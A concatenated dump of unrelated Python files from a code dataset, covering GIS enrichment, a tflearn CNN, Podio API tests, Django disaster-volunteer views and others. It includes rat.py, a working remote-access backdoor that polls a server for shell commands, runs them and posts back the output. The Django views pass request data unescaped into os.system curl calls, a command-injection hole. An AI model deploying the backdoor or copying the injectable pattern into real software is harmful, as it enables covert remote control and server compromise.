posspm_list.append(pos_spm);posline_list.append(pos_line)\n\n serifspm_list.append([self.vocab.stoi(word) for word in serif.split(\" \") for _ in range(len(word))])\n serifline_list.append([self.char.stoi(char) for char in serif.replace(\" \",\"\")])\n\n linenum_list.append(li)\n input_list = [(c1,c2,c3,w1,w2,li) for c1,c2,c3,w1,w2,li in zip(preline_list,serifline_list,posline_list,prespm_list,posspm_list,linenum_list)]\n linenum_dict={}\n\n for inp in input_list:\n pre_line = inp[0]+[2]\n pos_line = inp[2]+[2]\n\n pre_spm = inp[3]+[2]\n pos_spm = inp[4]+[2]\n line_num = inp[5]\n\n inp = [[i_e] for i_e in inp]\n ys_w = self.predict(inp)\n y_list = ys_w.data.argmax(1).tolist()\n\n print('')\n print('char',''.join([self.char.itos(cid) for cid,y in zip(pre_line+pos_line,y_list)]))\n print('vocab',''.join([self.vocab.itos(wid) for wid,y in zip(pre_spm+pos_spm,y_list)]))\n print('name候補',''.join([self.char.itos(wid) for wid,y in zip(pre_line+pos_line,y_list) if y==1]))\n\n chara=sepCharas(self,pre_line,pos_line,y_list)\n print(\"cccchara\",chara)\n if len(chara)>0:\n linenum_dict[line_num]=chara[0]\n\n #話者名を付与\n fw = codecs.open(write_file.replace(\".txt\",\"_charatag.txt\"),\"w\",encoding=\"utf-8\")\n serif_lines = set([li for li,line in enumerate(fr) if serif_delim in line])\n\n for li,line in enumerate(fr):\n if serif_delim in line:\n line = serif_delim+line.split(serif_delim)[-1]\n if li in linenum_dict:\n fw.write(linenum_dict[li]+line+\"\\n\")\n else:\n fw.write(line+\"\\n\")\n fw.close()\n\n # 話者名を付与 連続するセリフ文も補間。\n fw = codecs.open(write_file.replace(\".txt\",\"_charatag_complemented.txt\"),\"w\",encoding=\"utf-8\")\n # print(\"li_list\",li_list)\n for li,line in enumerate(fr):\n li_list = sorted(list(linenum_dict.keys()))\n\n if li in linenum_dict:\n if li+1 in serif_lines and li+1 not in linenum_dict:\n if li_list.index(li)==0:chara_ind=li_list.index(li)+1\n elif li_list.index(li)==len(li_list):chara_ind=li_list.index(li)-1\n elif abs(li_list[li_list.index(li)-1]-li)>abs(li_list[li_list.index(li)+1]-li):\n chara_ind=li_list.index(li)+1\n # chara = linenum_dict[li_list[li_list.index(li)+1]]\n else:\n chara_ind=li_list.index(li)-1\n # chara = linenum_dict[li_list[li_list.index(li)-1]]\n chara = linenum_dict[li_list[chara_ind]]\n linenum_dict[li+1]=chara\n\n for li,line in enumerate(fr):\n if serif_delim in line:\n line = serif_delim+line.split(serif_delim)[-1]\n if li in linenum_dict:\n fw.write(linenum_dict[li]+line+\"\\n\")\n else:\n fw.write(line+\"\\n\")\n fw.close()\n\n","sub_path":"src/lstm_word_char.py","file_name":"lstm_word_char.py","file_ext":"py","file_size_in_byte":15670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324426846","text":"from functools import wraps\n\nimport arcgis.gis\nimport arcgis.features\nfrom arcgis.geometry import Geometry\nimport numpy as np\nimport pandas as pd\n\nfrom . import util\nfrom ._xml_interrogation import get_enrich_variables_dataframe, get_heirarchial_geography_dataframe\nfrom ._modify_geoaccessor import GeoAccessorIO as GeoAccessor\n\nif util.arcpy_avail:\n import arcpy\n\n\ndef local_vs_gis(fn):\n # get the method geographic_level - this will be used to redirect the function call\n fn_name = fn.__name__\n\n @wraps(fn)\n def wrapped(self, *args, **kwargs):\n\n # if performing analysis locally, try to access the function locally, but if not implemented, catch the error\n if self.source == 'local':\n try:\n fn_to_call = getattr(self, f'_{fn_name}_local')\n except AttributeError:\n raise AttributeError(f\"'{fn_name}' not available using 'local' as the source.\")\n\n # now, if performing analysis using a Web GIS, then access the function referencing remote resources\n elif isinstance(self.source, arcgis.gis.GIS):\n try:\n fn_to_call = getattr(self, f'_{fn_name}_gis')\n except AttributeError:\n raise AttributeError(f\"'{fn_name}' not available using a Web GIS as the source.\")\n\n # if another source, we don't plan on doing that any time soon\n else:\n raise AttributeError(f\"'{self.source}' is not a recognized demographic modeling source.\")\n\n return fn_to_call(*args, **kwargs)\n\n return wrapped\n\n\nclass Country:\n\n def __init__(self, name: str, source: [str, arcgis.gis.GIS] = None):\n self.geo_name = name\n self.source = util.set_source(source)\n self._enrich_variables = None\n self._geographies = None\n\n # add on all the geographic resolution levels as properties\n for nm in self.geographies.geo_name:\n setattr(self, nm, GeographyLevel(nm, self))\n\n def __repr__(self):\n return f''\n\n def _set_arcpy_ba_country(self):\n \"\"\"Helper function to set the country in ArcPy.\"\"\"\n cntry_df = util.get_countries()\n geo_ref = cntry_df[cntry_df['country'] == self.geo_name]['geo_ref'].iloc[0]\n arcpy.env.baDataSource = f'LOCAL;;{geo_ref}'\n return\n\n @property\n def enrich_variables(self):\n \"\"\"DataFrame of all the available geoenrichment variables.\"\"\"\n if self._enrich_variables is None and self.source is 'local':\n self._enrich_variables = get_enrich_variables_dataframe(self.geo_name)\n\n elif self._enrich_variables is None and isinstance(self.source, arcgis.gis.GIS):\n raise Exception('Using a GIS instance is not yet implemented.')\n\n return self._enrich_variables\n\n @property\n def geographies(self):\n \"\"\"DataFrame of available geographies.\"\"\"\n if self._geographies is None and self.source is 'local':\n self._geographies = get_heirarchial_geography_dataframe(self.geo_name)\n\n elif self._geographies is None and isinstance(self.source, arcgis.gis.GIS):\n raise Exception('Using a GIS instance is not yet implemented.')\n\n return self._geographies\n\n @local_vs_gis\n def level(self, geography_index: [str, int]) -> pd.DataFrame:\n \"\"\"\n Get a GeographyLevel at an available geography_level level in the country.\n\n Args:\n geography_index: Either the geographic_level geo_name or the index of the geography_level level. This can be\n discovered using the Country.geographies method.\n\n Returns: pd.DataFrame as Geography object instance with the requested geographies.\n \"\"\"\n pass\n\n def _level_local(self, geography_index: [str, int]) -> pd.DataFrame:\n \"\"\"Local implementation of level.\"\"\"\n # get the geo_name of the geography\n if isinstance(geography_index, int):\n nm = self.geographies.iloc[geography_index]['geo_name']\n elif isinstance(geography_index, str):\n nm = geography_index\n else:\n raise Exception(f'geography_index must be either a string or integer, not {type(geography_index)}')\n\n # create a GeographyLevel object instance\n return GeographyLevel(nm, self)\n\n @local_vs_gis\n def enrich(self, data, enrich_variables: [list, np.array, pd.Series] = None,\n data_collections: [str, list, np.array, pd.Series] = None) -> pd.DataFrame:\n \"\"\"\n Enrich a spatially enabled dataframe using either a list of enrichment variables, or data collections. Either\n enrich_variables or data_collections must be provided, but not both.\n Args:\n data: Spatially Enabled DataFrame with geographies to be enriched.\n enrich_variables: Optional iterable of enrich variables to use for enriching data.\n data_collections: Optional iterable of data collections to use for enriching data.\n Returns: Spatially Enabled DataFrame with enriched data now added.\n \"\"\"\n pass\n\n def _enrich_local(self, data, enrich_variables: [list, np.array, pd.Series] = None,\n data_collections: [str, list, np.array, pd.Series] = None) -> pd.DataFrame:\n \"\"\"Implementation of enrich for local analysis.\"\"\"\n # ensure only using enrich_variables or data collections\n if enrich_variables is None and data_collections is None:\n raise Exception('You must provide either enrich_variables or data_collections to perform enrichment')\n elif enrich_variables is not None and data_collections is not None:\n raise Exception('You can only provide enrich_variables or data_collections, not both.')\n\n # if data collections are provided, get the variables from the geographic variables dataframe\n if data_collections:\n enrich_df = self.enrich_variables[self.enrich_variables.data_collection.isin(data_collections)]\n enrich_variables = enrich_df.drop_duplicates('name')['enrich_str']\n\n # if just a single variable is provided pipe it into a list\n enrich_variables = [enrich_variables] if isinstance(enrich_variables, str) else enrich_variables\n\n # ensure all the enrich variables are available\n enrich_vars = pd.Series(enrich_variables)\n missing_vars = enrich_vars[~enrich_vars.isin(self.enrich_variables.enrich_str)]\n if len(missing_vars):\n raise Exception('Some of the variables you provided are not available for enrichment '\n f'[{\", \".join(missing_vars)}]')\n\n # combine all the enrichment variables into a single string for input into the enrich tool\n enrich_str = ';'.join(enrich_variables)\n\n # convert the geometry column to a list of arcpy geometry objects\n geom_lst = list(data['SHAPE'].apply(lambda geom: geom.as_arcpy).values)\n\n # set the arcpy environment to the correct country\n self._set_arcpy_ba_country()\n\n # invoke the enrich method to get the data\n enrich_fc = arcpy.ba.EnrichLayer(\n in_features=geom_lst,\n out_feature_class='memory/enrich_tmp',\n variables=enrich_str\n )[0]\n\n # get the Object ID field for schema cleanup\n oid_col = arcpy.Describe(enrich_fc).OIDFieldName\n\n # convert the enrich feature class to a dataframe and do some schema cleanup\n enrich_df = GeoAccessor.from_featureclass(enrich_fc)\n drop_cols = [c for c in enrich_df.columns if c in [oid_col, 'HasData', 'aggregationMethod', 'SHAPE']]\n enrich_df.drop(columns=drop_cols, inplace=True)\n\n # combine the two dataframes for output\n out_df = pd.concat([data, enrich_df], axis=1, sort=False)\n\n # organize the columns so geometry is the last column\n attr_cols = [c for c in out_df.columns if c != 'SHAPE'] + ['SHAPE']\n out_df = out_df[attr_cols].copy()\n\n # ensure this dataframe will be recognized as spatially enabled\n out_df.spatial.set_geometry('SHAPE')\n\n return out_df\n\n\nclass GeographyLevel:\n\n def __init__(self, geographic_level: [str, int], country: Country, parent_data: [pd.DataFrame, pd.Series] = None):\n self._cntry = country\n self.source = country.source\n self.geo_name = self._standardize_geographic_level_input(geographic_level)\n self._resource = None\n self._parent_data = parent_data\n\n def __repr__(self):\n return f''\n\n def _standardize_geographic_level_input(self, geo_in: [str, int]) -> str:\n \"\"\"Helper function to check and standardize named input.\"\"\"\n\n geo_df = self._cntry.geographies\n\n if isinstance(geo_in, str):\n if geo_in not in geo_df.geo_name.values:\n names = ', '.join(geo_df.geo_name.values)\n raise Exception(\n f'Your selector, \"{geo_in},\" is not an available selector. Please choose from {names}.')\n geo_lvl_name = geo_in\n\n elif isinstance(geo_in, int) or isinstance(geo_in, float):\n if geo_in > len(geo_df.index):\n raise Exception(\n f'Your selector, \"{geo_in}\", is beyond the maximum range of available geographies.')\n geo_lvl_name = geo_df.iloc[geo_in]['geo_name']\n\n else:\n raise Exception('The geographic selector must be a string or integer.')\n\n return geo_lvl_name\n\n @property\n def resource(self):\n \"\"\"The resource, either a layer or Feature Layer, for accessing the data for the geographic layer.\"\"\"\n if self._resource is None and self._cntry.source is 'local':\n self._resource = self._cntry.geographies[self._cntry.geographies['geo_name'] == self.geo_name].iloc[0][\n 'feature_class_path']\n\n elif self._resource is None and isinstance(self._cntry.source, arcgis.gis.GIS):\n raise Exception('Using a GIS instance not yet implemented.')\n\n return self._resource\n\n @local_vs_gis\n def get(self, geography: [str, int], selector: str = None, selection_field: str = 'NAME',\n query_string: str = None) -> pd.DataFrame:\n \"\"\"\n Get a df at an available geography_level level. Since frequently working within an area of interest defined\n by a higher level of geography_level, typically a CBSA or DMA, the ability to specify this area using input\n parameters is also included. This dramatically speeds up the process of creating the output.\n\n Args:\n geography: Either the geographic_level or the index of the geography_level level. This can be discovered\n using the Country.geographies method.\n selector: If a specific value can be identified using a string, even if just part of the field value,\n you can insert it here.\n selection_field: This is the field to be searched for the string values input into selector.\n query_string: If a more custom query is desired to filter the output, please use SQL here to specify the\n query. The normal query is \"UPPER(NAME) LIKE UPPER('%%'). However, if a more specific query\n is needed, this can be used as the starting point to get more specific.\n\n Returns: pd.DataFrame as Geography object instance with the requested geographies.\n \"\"\"\n pass\n\n def _get_local(self, selector: [str, list] = None, selection_field: str = 'NAME',\n query_string: str = None) -> pd.DataFrame:\n\n return self._get_local_df(selector, selection_field, query_string, self._parent_data)\n\n @local_vs_gis\n def within(self, selecting_geography: [pd.DataFrame, Geometry, list]) -> pd.DataFrame:\n \"\"\"\n Get a df at an available geography_level level falling within a defined selecting geography.\n\n Args:\n selecting_geography: Either a Spatially Enabled DataFrame, arcgis.Geometry object instance, or list of\n arcgis.Geometry objects delineating an area of interest to use for selecting geographies for analysis.\n\n Returns: pd.DataFrame as Geography object instance with the requested geographies.\n \"\"\"\n pass\n\n def _within_local(self, selecting_geography: [pd.DataFrame, Geometry, list]) -> pd.DataFrame:\n \"\"\"Local implementation of within.\"\"\"\n return self._get_local_df(selecting_geography=selecting_geography)\n\n def _get_sql_helper(self, selector: [str, list] = None, selection_field: str = 'NAME',\n query_string: str = None):\n \"\"\"Helper to handle creation of sql queries for get functions.\"\"\"\n if query_string:\n sql = query_string\n elif selection_field and isinstance(selector, list):\n sql_lst = [f\"UPPER({selection_field}) LIKE UPPER('%{sel}%')\" for sel in selector]\n sql = ' OR '.join(sql_lst)\n elif selection_field and isinstance(selector, str):\n sql = f\"UPPER({selection_field}) LIKE UPPER('%{selector}%')\"\n else:\n sql = None\n\n return sql\n\n def _get_local_df(self, selector: [str, list] = None, selection_field: str = 'NAME',\n query_string: str = None,\n selecting_geography: [pd.DataFrame, Geometry, list] = None) -> pd.DataFrame:\n \"\"\"Single function handling business logic for both _get_local and _within_local.\"\"\"\n # set up the where clause based on input enabling overriding using a custom query if desired\n sql = self._get_sql_helper(selector, selection_field, query_string)\n\n # if a DataFrame, check to ensure is spatial, and convert to list of arcgis Geometry objects\n if isinstance(selecting_geography, pd.DataFrame):\n if selecting_geography.spatial.validate() is True:\n geom_col = [col for col in selecting_geography.columns\n if selecting_geography[col].dtype.name.lower() == 'geometry'][0]\n geom_lst = list(selecting_geography[geom_col].values)\n else:\n raise Exception('The provided selecting_geography DataFrame does not appear to be a Spatially Enabled '\n 'DataFrame or if so, all geometries do not appear to be valid.')\n\n # accommodate passing a single row as a series\n elif isinstance(selecting_geography, pd.Series):\n if 'SHAPE' not in selecting_geography.keys():\n raise Exception('SHAPE geometry field must be in the pd.Series to use a pd.Series as input.')\n else:\n geom_lst = [selecting_geography['SHAPE']]\n\n # if a list, ensure all child objects are polygon geometries and convert to list of arcpy.Geometry objects\n elif isinstance(selecting_geography, list):\n for geom in selecting_geography:\n if not isinstance(geom, Geometry):\n raise Exception('The provided geometries in the selecting_geometry list do not appear to all be '\n 'valid.')\n geom_lst = selecting_geography\n\n # if a single geometry object instance, ensure is polygon and make into single item list of arcpy.Geometry\n elif isinstance(selecting_geography, Geometry):\n geom_lst = [selecting_geography]\n\n elif selecting_geography is not None:\n raise Exception('selecting_geography must be either a Spatially Enabled Dataframe, pd.Series with a SHAPE '\n f'column, list or single geometry object, not {type(selecting_geography)}.')\n\n # get the relevant geography_level row from the data\n row = self._cntry.geographies[self._cntry.geographies['geo_name'] == self.geo_name].iloc[0]\n\n # get the id and geographic_level fields along with the path to the data from the row\n fld_lst = [row['col_id'], row['col_name']]\n pth = row['feature_class_path']\n\n # use the query string, if provided, to create and return a layer with the output fields\n if sql is None:\n lyr = arcpy.management.MakeFeatureLayer(pth)[0]\n else:\n lyr = arcpy.management.MakeFeatureLayer(pth, where_clause=sql)[0]\n\n # if there is selection data, convert to a layer and use this layer to select features from the above layer.\n if selecting_geography is not None:\n\n # ensure all geometries are polygons\n for geom in geom_lst:\n if geom.geometry_type != 'polygon':\n raise Exception('selecting_geography geometries must be polygons. It appears you have provided at '\n f'least one \"{geom.geometry_type}\" geometry.')\n\n # create a list of arcpy geometry objects\n arcpy_geom_lst = [geom.as_arcpy for geom in geom_lst]\n\n # create an feature class in memory\n tmp_fc = arcpy.management.CopyFeatures(arcpy_geom_lst, 'memory/tmp_poly')[0]\n\n # create a layer using the temporary feature class\n sel_lyr = arcpy.management.MakeFeatureLayer(tmp_fc)[0]\n\n # select local features using the temporary selection layer\n arcpy.management.SelectLayerByLocation(in_layer=lyr, overlap_type='HAVE_THEIR_CENTER_IN',\n select_features=sel_lyr)\n\n # create a spatially enabled dataframe from the data\n out_data = GeoAccessor.from_featureclass(lyr, fields=fld_lst)\n\n # get the index of the current geography level\n self_idx = self._cntry.geographies[self._cntry.geographies['geo_name'] == self.geo_name].index[0]\n\n # add all the geographic levels as properties on the dataframe\n for idx in self._cntry.geographies.index:\n if idx < self_idx:\n geo_name = self._cntry.geographies.iloc[idx]['geo_name']\n setattr(out_data, geo_name, GeographyLevel(geo_name, self._cntry, out_data))\n\n # add the ability to also get the geography by level index as well\n def get_geo_level_by_index(geo_idx):\n if geo_idx >= self_idx:\n raise Exception('The index for the sub-geography level must be less than the parent. You provided an '\n f'index of {geo_idx}, which is greater than the parent index of {self_idx}.')\n geo_nm = self._cntry.geographies.iloc[geo_idx]['geo_name']\n return GeographyLevel(geo_nm, self._cntry, out_data)\n\n setattr(out_data, 'level', get_geo_level_by_index)\n\n # tack on the country for potential use later\n setattr(out_data, '_cntry', self._cntry)\n\n return out_data\n\n @local_vs_gis\n def get_names(self, selector: [str, list] = None, selection_field: str = 'NAME',\n query_string: str = None) -> pd.Series:\n \"\"\"\n Get a Pandas Series of available names based on a test input. This runs the same query as the 'get' method,\n except does not return geometry, so it runs a lot faster - providing the utility to test names. If\n no selector string is provided it also provides the ability to see all available names.\n Returns: pd.Series of name strings.\n \"\"\"\n pass\n\n def _get_names_local(self, selector: [str, list] = None, selection_field: str = 'NAME',\n query_string: str = None) -> pd.Series:\n \"\"\"Local implementation of 'get_names'.\"\"\"\n # create or use the input query parameters\n sql = self._get_sql_helper(selector, selection_field, query_string)\n\n # create an output series of names filtered using the query\n out_srs = pd.Series(r[0] for r in arcpy.da.SearchCursor(self.resource, field_names='NAME', where_clause=sql))\n out_srs.name = 'geo_name'\n\n return out_srs\n","sub_path":"src/dm/country.py","file_name":"country.py","file_ext":"py","file_size_in_byte":19965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51065669","text":"import tensorflow as tf\nfrom config import *\n\nimport tflearn\nfrom tflearn.layers.core import input_data, fully_connected\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.estimator import regression\n\n\nclass Model:\n\t_model_graph = None\n\t_model = None\n\tmodel_dir = \"C:\\\\Users\\\\ASUS\\\\Documents\\\\PW\\\\SieciNeuronowe\\\\Projekt2\\\\Model\"\n\n\tdef __init__(self, model_dir=None):\n\t\t\"\"\"\n Initializes model\n :param model_dir: directory with model, it can be trained and used to predict rotation\n or with checkpoints to continue training\n \"\"\"\n\t\tif model_dir is None:\n\t\t\t\"C:\\\\Users\\\\ASUS\\\\Documents\\\\PW\\\\SieciNeuronowe\\\\Projekt2\\\\Model\"\n\t\telse:\n\t\t\tself.model_dir = model_dir\n\n\tdef get_model(self):\n\t\tif self._model_graph is None:\n\t\t\tself._model_graph = self._build_model()\n\t\t\tself._model = tflearn.DNN(self._model_graph,\n\t\t\t tensorboard_dir=MODEL_DIRECTORY,\n\t\t\t tensorboard_verbose=3)\n\n\t\treturn self._model\n\n\tdef _build_model(self):\n\t\tnetwork = input_data(shape=[None, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNELS])\n\n\t\tnetwork = conv_2d(\n\t\t\tnetwork,\n\t\t\tnb_filter=24,\n\t\t\tfilter_size=5,\n\t\t\tactivation='relu')\n\n\t\tnetwork = conv_2d(\n\t\t\tnetwork,\n\t\t\tnb_filter=36,\n\t\t\tfilter_size=5,\n\t\t\tactivation='relu'\n\t\t)\n\n\t\tnetwork = max_pool_2d(\n\t\t\tnetwork,\n\t\t\t2,\n\t\t\tstrides=2)\n\n\t\tnetwork = conv_2d(\n\t\t\tnetwork,\n\t\t\tnb_filter=48,\n\t\t\tfilter_size=3,\n\t\t\tactivation='relu')\n\n\t\tnetwork = conv_2d(\n\t\t\tnetwork,\n\t\t\tnb_filter=64,\n\t\t\tfilter_size=3,\n\t\t\tactivation='relu'\n\t\t)\n\n\t\tnetwork = max_pool_2d(\n\t\t\tnetwork,\n\t\t\t2,\n\t\t\tstrides=2)\n\n\t\tnetwork = tflearn.flatten(network)\n\n\t\tnetwork = fully_connected(\n\t\t\tnetwork,\n\t\t\t100,\n\t\t\tactivation='relu'\n\t\t)\n\n\t\tnetwork = tflearn.dropout(\n\t\t\tnetwork,\n\t\t\tkeep_prob=0.5\n\t\t)\n\n\t\tnetwork = fully_connected(\n\t\t\tnetwork,\n\t\t\t50,\n\t\t\tactivation='relu'\n\t\t)\n\n\t\tnetwork = tflearn.dropout(\n\t\t\tnetwork,\n\t\t\tkeep_prob=0.5\n\t\t)\n\n\t\tnetwork = fully_connected(\n\t\t\tnetwork,\n\t\t\t10,\n\t\t\tactivation='relu'\n\t\t)\n\n\t\tnetwork = tflearn.dropout(\n\t\t\tnetwork,\n\t\t\tkeep_prob=0.5\n\t\t)\n\n\t\tnetwork = fully_connected(\n\t\t\tnetwork,\n\t\t\t1,\n\t\t\tactivation='linear',\n\t\t\tbias=False\n\t\t)\n\t\tnetwork = tf.reshape(network, [-1, 1]) # so that accuracy is binary_accuracy\n\n\t\tnetwork = regression(\n\t\t\tnetwork,\n\t\t\toptimizer='SGD',\n\t\t\tlearning_rate=LEARNING_RATE,\n\t\t\tloss='mean_square',\n\t\t\tname='targets',\n\t\t\tmetric='accuracy'\n\t\t)\n\n\t\treturn network\n\n\tdef load(self):\n\t\tself.get_model().load(self.model_dir)\n","sub_path":"Model/model2/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523502567","text":"#!/usr/bin/env python\n\"\"\"\nUnit tests for pypodio2.areas.Item (via pypodio2.client.Client). Works\nby mocking httplib2, and making assertions about how pypodio2 calls\nit.\n\"\"\"\n\nimport json\n\nfrom mock import Mock\nfrom nose.tools import eq_\n\nfrom tests.utils import check_client_method, get_client_and_http, URL_BASE\n\n\ndef test_find():\n item_id = 9271\n\n client, check_assertions = check_client_method()\n result = client.Item.find(item_id)\n check_assertions(result, 'GET', '/item/%s' % item_id)\n\n\ndef test_filters():\n app_id = 426\n attributes = {'a': 1, 'zzzz': 12345}\n\n client, check_assertions = check_client_method()\n result = client.Item.filter(app_id, attributes)\n check_assertions(result,\n 'POST',\n '/item/app/%s/filter/' % app_id,\n expected_body=json.dumps(attributes),\n expected_headers={'content-type': 'application/json'})\n\n\ndef test_filter_by_view():\n app_id = 421\n view_id = 123\n\n client, check_assertions = check_client_method()\n result = client.Item.filter_by_view(app_id, view_id)\n check_assertions(result,\n 'POST',\n '/item/app/{}/filter/{}'.format(app_id, view_id),\n expected_body=json.dumps({}),\n expected_headers={'content-type': 'application/json'})\n\n\ndef test_find_by_external_id():\n app_id = 13\n external_id = 37\n\n client, check_assertions = check_client_method()\n result = client.Item.find_all_by_external_id(app_id, external_id)\n check_assertions(result,\n 'GET',\n '/item/app/%s/v2/?external_id=%s' % (app_id, external_id))\n\n\ndef test_revisions():\n item_id = 255\n\n client, check_assertions = check_client_method()\n result = client.Item.revisions(item_id)\n check_assertions(result,\n 'GET',\n '/item/%s/revision/' % item_id)\n\n\ndef test_revision_difference():\n item_id = 2\n from_id = 4\n to_id = 8\n\n client, check_assertions = check_client_method()\n result = client.Item.revision_difference(item_id, from_id, to_id)\n check_assertions(result,\n 'GET',\n '/item/%s/revision/%s/%s' % (item_id, from_id, to_id))\n\n\ndef test_values():\n item_id = 9271\n\n client, check_assertions = check_client_method()\n result = client.Item.values(item_id)\n check_assertions(result, 'GET', '/item/%s/value' % item_id)\n\n\ndef test_values_v2():\n item_id = 9271\n\n client, check_assertions = check_client_method()\n result = client.Item.values_v2(item_id)\n check_assertions(result, 'GET', '/item/%s/value/v2' % item_id)\n\n\ndef test_create():\n app_id = 1\n attributes = {'1': 1, '2': 3, '5': '8'}\n\n client, check_assertions = check_client_method()\n result = client.Item.create(app_id, attributes)\n check_assertions(result,\n 'POST',\n '/item/app/%s/' % app_id,\n json.dumps(attributes),\n {'content-type': 'application/json'})\n\n\ndef test_update():\n app_id = 1\n attributes = {'1': 1, '2': 3, '5': '8'}\n\n client, check_assertions = check_client_method()\n result = client.Item.update(app_id, attributes)\n check_assertions(result,\n 'PUT',\n '/item/%s' % app_id,\n json.dumps(attributes),\n {'content-type': 'application/json'})\n\n client, check_assertions = check_client_method()\n result = client.Item.update(app_id, attributes, silent=True)\n check_assertions(result,\n 'PUT',\n '/item/%s?silent=true' % app_id,\n json.dumps(attributes),\n {'content-type': 'application/json'})\n\n\ndef test_delete():\n item_id = 1\n\n client, http = get_client_and_http()\n http.request = Mock(return_value=(None, None))\n\n result = client.Item.delete(item_id)\n\n eq_(None, result)\n http.request.assert_called_once_with(\"%s/item/%s?\" % (URL_BASE, item_id),\n 'DELETE',\n body=None,\n headers={})\n","sub_path":"tests/test_areas_item.py","file_name":"test_areas_item.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"505829642","text":"import urllib2, json, time, os, subprocess, requests\n_n = None\nresponse = urllib2.urlopen('http://localhost:8083/getid')\n_id = str(json.loads(response.read())[\"n\"])\nprint(\"got id:\"+str(_id))\n\nwhile (True):\n time.sleep(0.2) # repeat every 200 milliseconds\n response = urllib2.urlopen('http://localhost:8083/command/'+_id)\n command = response.read()\n if command is \"\":\n continue\n print(\"Got Command: \"+command)\n if command[0:2] == \"cd\":\n os.chdir(command[3::])\n response = os.getcwd()\n else:\n process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n response = ''\n while True:\n out = process.stdout.read(1)\n if out == '' and process.poll() != None:\n break\n if out != '':\n response += str(out)\n r = requests.post('http://localhost:8083/response/'+_id, data={\"response\": response})\n","sub_path":"rat.py","file_name":"rat.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"448880609","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom .models import Request, RequestLog, Volunteer, Victim, Service\nimport json\nfrom django.contrib.auth.models import User, Group\nfrom django import forms\nfrom os import system\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nfrom django.forms.models import model_to_dict\n\n\ndef proces_log(request):\n requestee_phone = request.GET.get('From')\n\n if requestee_phone:\n if Request.objects.filter(requestee_phone=requestee_phone, status='pro').count():\n return HttpResponse('duplicate')\n\n obj, created = Request.objects.get_or_create(requestee_phone=requestee_phone,\n status='new')\n RequestLog.objects.create(request=obj, details=json.dumps(request.GET))\n\n return HttpResponse('success')\n\ndef create_volunteer(request):\n if request.method == 'GET':\n services = Service.objects.filter(level=1)\n return render(request, 'mainapp/volunteer_form.html',\n {'services':services})\n\n volunteer_phone = request.POST.get('mobile')\n password = request.POST.get('password')\n location = request.POST.get('location')\n type = request.POST.get('type')\n name = request.POST.get('name')\n district = request.POST.get('district')\n panchayath = request.POST.get('panchayath')\n is_smartphone = request.POST.get('is_smartphone', False)\n services = request.POST.getlist('services')\n availability = request.POST.get('availability')\n area_willing_to_support = request.POST.get('area_willing_to_support')\n\n if volunteer_phone:\n if User.objects.filter(username=volunteer_phone).count():\n return HttpResponse('already exists')\n user = User.objects.create_user(volunteer_phone, '', password)\n user.first_name = name\n user.is_staff = True\n user.is_active = False\n user.save()\n volunteer = Volunteer.objects.create(user=user, location=location, type=type)\n volunteer.panchayath = panchayath\n volunteer.district = district\n volunteer.is_smartphone = is_smartphone\n volunteer.availability = availability\n volunteer.area_willing_to_support = area_willing_to_support\n for service_id in services:\n service = Service.objects.get(pk=service_id)\n volunteer.services.add(service)\n volunteer.save()\n group, created = Group.objects.get_or_create(name='Volunteer')\n group.user_set.add(user)\n return render(request, 'volunteer_created.html', {'user':user})\n\n return HttpResponse('')\n\ndef approve_volunteer(request):\n volunteer_phone = request.GET.get('From')\n\n if volunteer_phone:\n if len(volunteer_phone) == 11:\n volunteer_phone = volunteer_phone[1:]\n user = User.objects.filter(username=volunteer_phone).first()\n if user:\n if user.is_active == True:\n return HttpResponse('Already Appproved')\n user.is_active = True\n user.save()\n volunteer = Volunteer.objects.filter(user=user).first()\n dict = model_to_dict(volunteer)\n system('curl -vL \"https://script.google.com/macros/s/AKfycbyirHH2K1rxt2Mhwe5xV9IJvenWVRfny7l64A7P/exec?From={}&Who=ground&Status={}&Comments={}\"'.format(\n volunteer_phone,volunteer.type +','+ str(user.first_name), dict))\n return HttpResponse('appproved')\n else:\n volunteer, created = Volunteer.objects.get_or_create(user=None, location=volunteer_phone, type='ground')\n if created:\n system('curl -vL \"https://script.google.com/macros/s/AKfycbyirHH2K1rxt2Mhwe5xV9IJvenWVRfny7l64A7P/exec?From={}&Status=&Comments=&Who=ground\"'.format(volunteer_phone))\n return HttpResponse('ground worker created')\n\n return HttpResponse('invalid')\n\ndef view_request(request, pk):\n try:\n req = Request.objects.get(pk=pk)\n except:\n return HttpResponse('')\n\n return render(request, 'request_view.html', {'req':req})\n\n@csrf_exempt\ndef update_victim(request):\n if request.method=='POST':\n json_data=json.loads(request.body.decode('utf-8'))\n victim, created = Victim.objects.get_or_create(row=json_data['rowNum'], timestamp=json_data['row'][0])\n\n victim.name = json_data['row'][1]\n victim.contact = json_data['row'][2]\n victim.coordinates = json_data['row'][3]\n victim.location = json_data['row'][4]\n victim.status = json_data['row'][5]\n victim.no_of_people = json_data['row'][6]\n victim.degree_of_emergency = json_data['row'][7]\n victim.district = json_data['row'][8]\n victim.help_required_now = json_data['row'][9]\n victim.done = json_data['row'][11]\n victim.save()\n\n if created:\n return HttpResponse('inserted')\n return HttpResponse('updated')\n return HttpResponse('')\n","sub_path":"mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"333595971","text":"#!/usr/bin/env python\n#coding:utf-8\n#author:zhujianqi\n\nfrom __future__ import print_function\nimport sys\nimport traceback\n\ndef process(rfilename, wfilename):\n with open(rfilename, 'r') as f:\n line_num = 0\n info = []\n ele = []\n for line in f:\n line = line.strip('\\r\\n')\n if line.startswith('resotre'):\n line_num = 0\n continue\n try:\n index = line_num % 4\n if index == 0:\n if ele and 